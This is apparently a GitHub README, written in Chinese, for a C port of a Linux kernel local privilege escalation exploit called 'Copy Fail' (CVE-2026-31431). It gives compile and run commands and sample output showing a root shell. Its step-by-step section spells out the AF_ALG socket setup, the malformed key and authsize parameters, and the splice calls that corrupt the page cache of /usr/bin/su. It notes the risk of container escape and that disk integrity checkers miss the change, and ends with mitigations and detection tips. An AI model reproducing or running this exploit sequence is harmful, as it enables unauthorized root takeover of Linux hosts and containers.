polyakovavv/copyfail
GitHub: polyakovavv/copyfail
CVE-2026-31431 Linux 内核本地提权漏洞的 C 语言利用程序,通过 AF_ALG 加密子系统的逻辑缺陷破坏页面缓存,实现从无特权用户到 root 的权限提升。
Stars: 0 | Forks: 0
## 概述
**Copy Fail (CVE-2026-31431)** 是 Linux 内核中的一个逻辑漏洞,允许本地无特权用户将权限提升至超级用户(`root`)级别。该漏洞属于 **本地特权提升 (LPE)** 类别,不需要复杂的利用条件(例如竞态条件或在内存中猜测地址),并且在 2017 年之后发布的大多数 Linux 发行版上可以“开箱即用”。
本仓库包含**原始 Python 漏洞利用程序的 C 语言移植版**,带有详细注释,适合进行静态编译并在最小化环境中使用。
## 目录
- [漏洞详情](#уязвимость)
- [漏洞本质](#суть-уязвимости)
- [利用机制](#механизм-эксплуатации)
- [受影响的系统](#затронутые-системы)
- [漏洞利用程序](#эксплойт)
- [C 语言移植版特性](#особенности-порта-на-c)
- [编译说明](#компиляция)
- [使用方法](#использование)
- [工作原理](#как-это-работает)
- [逐步解析](#пошаговый-разбор)
- [为何页面缓存会被修改](#почему-страничный-кэш-изменяется)
- [漏洞修复](#устранение-уязвимости)
## 漏洞详情
### 漏洞本质
该漏洞源于 Linux 内核加密子系统中与处理 **AF_ALG**(内核加密 API 接口)和**页面缓存**(page cache)机制相关的一个逻辑错误。
该错误于 2017 年引入,当时添加了一项优化,通过**就地**(in-place)执行 AEAD(Authenticated Encryption with Associated Data,带有相关数据的认证加密)块加密操作,去除了多余的缓冲。由于 `authencesn` 算法(AEAD 加密模板的一部分)中对缓冲区边界的处理不当,导致向分配的缓冲区之外写入了 4 个字节,从而破坏了页面缓存的管理结构。
结果就是,内核可能会**将数据写回文件的页面缓存中,即使该文件是以只读方式(`O_RDONLY`)打开的**。
### 利用机制
1. 无特权用户打开一个 `AF_ALG` 套接字,并初始化 AEAD 算法 `authencesn(hmac(sha256),cbc(aes))`。
2. 通过 `setsockopt()` 设置异常参数:
- 特殊格式的密钥(操纵内核缓冲区)。
- 认证标签大小 = 4 字节(对于 HMAC-SHA256,正常值应为 16-32 字节)。
3. 通过带有控制消息(control messages)的 `sendmsg()` 发起**解密**操作。
4. `splice()` 系统调用将目标文件(以 `O_RDONLY` 打开)的数据移动到加密套接字中。
5. 由于 `authencesn` 中的错误,文件的页面缓存被破坏,“解密”后的数据被写回到缓存中。
6. 内核从页面缓存中**执行了被修改的 setuid 文件**,导致代码以 `root` 权限运行。
### 受影响的系统
| 组件 | 描述 |
|-----------|----------|
| **Linux 内核** | 自 2017 年起至包含修复补丁之前的所有版本 |
| **子系统** | `crypto`(`algif_aead` 模块) |
| **接口** | `AF_ALG` — 用户空间对内核加密 API 的访问接口 |
| **系统调用** | 与 `AF_ALG` 套接字结合使用的 `splice()` |
**受影响的发行版**(在使用的内核中加载了 `algif_aead` 模块的情况下):
- Ubuntu(所有版本)
- Debian(所有版本)
- RHEL / CentOS / Rocky / Alma Linux
- SUSE / openSUSE
- Fedora
- Arch Linux
- 其他基于存在漏洞的内核的发行版
**特殊重要性**:在容器环境(Docker、LXC、Kubernetes)中,如果宿主机内核中加载了 `algif_aead` 模块,默认情况下容器内的进程是可以访问 `AF_ALG` 子系统的。这造成了**破坏容器隔离性**并获得对宿主机控制权的风险。
**漏洞验证**:
```
# 检查 algif_aead 模块是否已加载
lsmod | grep algif
# 检查内核中是否存在 AF_ALG
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
```
## 漏洞利用程序
### C 语言移植版特性
原始漏洞利用程序是使用 Python 编写的(约 732 字节)。此 C 语言移植版具有以下特点:
- **静态编译** — 可在没有 Python 的最小化环境中运行。
- **完全独立** — 仅需 C 标准库和 `libz`。
- **详细的中文注释** — 记录了漏洞利用的每一个步骤。
- **行为一致** — 系统调用与 Python 版本精确匹配(已通过 `strace` 验证)。
- **非阻塞 `recv()`** — 防止挂起,重现了 Python 中 `try/except` 的行为。
**移植过程中发现的与 Python 版本的主要差异**:
| 参数 | Python | C(此移植版) |
|----------|--------|---------------|
| `sendmsg()` 标志 | `MSG_MORE` | `MSG_MORE` |
| `splice()` 标志 | `0` | `0` |
| pipe 偏移量 | `NULL` | `NULL` |
| 密钥大小 | 40 字节 | 40 字节 |
| `cmsg_len` | 20/36/20 | 20/36/20(硬编码) |
| 创建 pipe | `pipe2(fds, O_CLOEXEC)` | `pipe2(fds, O_CLOEXEC)` |
| `recv()` | 使用 `try/except` 的阻塞模式 | 非阻塞模式(`O_NONBLOCK`) |
### 编译说明
```
# 需要 libz (zlib1g-dev 或 zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
```
### 使用方法
```
./copyfail
```
成功利用后,将启动一个修改过版本的 `/usr/bin/su`,无需输入密码即可提供 root 访问权限。
**预期输出**:
```
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su открыт
[+] 40 чанков
[*] 40/40 ок
# id
uid=0(root) gid=0(root) groups=0(root)
```
## 工作原理
### 逐步解析
以下是漏洞利用每个步骤的详细解析,并指出了相应的系统调用:
#### 步骤 1:创建 AF_ALG 套接字
```
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
```
创建一个用于访问内核加密 API 的套接字。`authencesn`(Authenticated Encryption with Sequence Numbers,带有序列号的认证加密)算法是一个复合 AEAD 算法,使用 AES-CBC 进行加密,并使用 HMAC-SHA256 进行认证。
#### 步骤 2:设置存在漏洞的参数
```
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
```
- **密钥**:40 字节的特殊格式,用于操纵内核的内部缓冲区。
- **认证标签大小**:4 字节。HMAC-SHA256 的正常值为 16-32 字节。异常小的值会导致内核发生缓冲区溢出。
#### 步骤 3:初始化解密操作
```
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
```
为该操作创建一个连接。通过带有控制消息(CMSG)的 `sendmsg()` 设置以下参数:
- **操作**:解密(`ALG_OP_DECRYPT = 0`)。
- **IV**:20 字节(而不是 AES 的标准值 16 字节)。
- **关联数据**:8 字节(没有实际传输数据)。
所有这些异常情况在内核内存管理中造成了不一致。
#### 步骤 4:通过 splice() 移动数据
```
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
```
`splice()` 是一个系统调用,用于在文件描述符之间移动数据,**无需通过用户空间进行拷贝**。数据通过 pipe 机制在内核级别进行移动。
1. `splice(target_fd -> pipe)`:来自目标文件(`/usr/bin/su`)的数据进入 pipe。
2. `splice(pipe -> conn_sock)`:pipe 中的数据作为“密文”流入加密套接字。
**关键点**:在 Python(以及此 C 移植版)中,传递给 pipe 的偏移量为 `NULL`,这允许内核自动管理位置。
#### 步骤 5:完成操作并忽略错误
```
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
```
调用 `recv()` 促使内核完成加密操作。在正常模式下,这里会返回解密后的数据,但由于参数异常,会返回 `EBADMSG`(Python)或 `EAGAIN`(设置了 `O_NONBLOCK` 的 C)错误。**该错误被忽略** — 页面缓存的破坏在 `splice()` 阶段就已经发生了。
### 为何页面缓存会被修改
页面缓存(page cache)是 RAM 中文件内容的缓存。当进程通过 `O_RDONLY` 打开文件时,内核只允许从该缓存中读取数据。然而,该漏洞允许绕过此限制:
1. **缓冲区大小不匹配**:authsize=4 而不是 16-32 创建了大小不正确的缓冲区。
2. **缓冲区溢出**:在“解密”时,数据被写入分配的缓冲区边界之外。
3. **引用计数损坏**:溢出影响了页面管理结构(page reference count)。
4. **写入缓存**:内核认为页面是空闲的,于是将“解密”后的数据写入其中。
5. **忽略 O_RDONLY**:访问权限检查在调用 `write()` 时发生在 VFS 层,但 `splice()` 直接在页面缓存层面工作,绕过了这些检查。
**更改仅发生在 RAM 中**,而不是磁盘上。这使得该攻击难以被标准完整性检查工具发现。系统重启或清空页面缓存后,攻击痕迹即会消失。
## 漏洞修复
### 主要方法
**将 Linux 内核更新**至包含修复程序的版本。
### 临时缓解措施
**禁用 `algif_aead` 模块**:
```
# 禁止加载模块
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# 卸载模块 (如果已加载)
sudo rmmod algif_aead
```
**额外建议**:
- 限制用户的本地访问权限。
- 使用内核和系统完整性监控。
- 应用最小权限原则。
- 在容器环境中,通过 seccomp 配置文件禁止对 `AF_ALG` 的访问。
### 磁盘上的 `/usr/bin/su` 文件会被修改吗?
**不会**。更改仅发生在**页面缓存**(RAM)中。磁盘上的文件内容保持不变。系统重启后,页面缓存被清空,文件将恢复到其原始状态。
### 是否能检测到漏洞利用?
可以通过以下方式进行检测:
- 系统调用监控(`auditd`、`strace`)。
- 分析 `AF_ALG` 套接字使用中的异常情况。
- 监控**内存中**(而非磁盘上)的文件完整性。
标准完整性检查工具(AIDE、Tripwire)**无法检测到**这些更改,因为磁盘上的文件保持不变。
## 免责声明
本代码**仅出于教育和研究目的**提供。作者不对出于任何非法目的使用本代码承担责任。未经系统所有者明确许可使用该漏洞利用程序是**违法的**,并可能承担刑事责任。
**请仅在您自己拥有的系统上,或在您已获得明确书面许可进行安全测试的系统上使用。**
标签:0day挖掘, 0day漏洞, Copy Fail, CVE-2026-31431, Exploit, Linux内核漏洞, LPE, Web报告查看器, 内核安全, 协议分析, 堆漏洞, 子域名枚举, 安全渗透, 客户端加密, 提权漏洞, 数据展示, 本地提权, 权限提升, 系统安全, 红队, 网络安全, 隐私保护, 页面缓存污染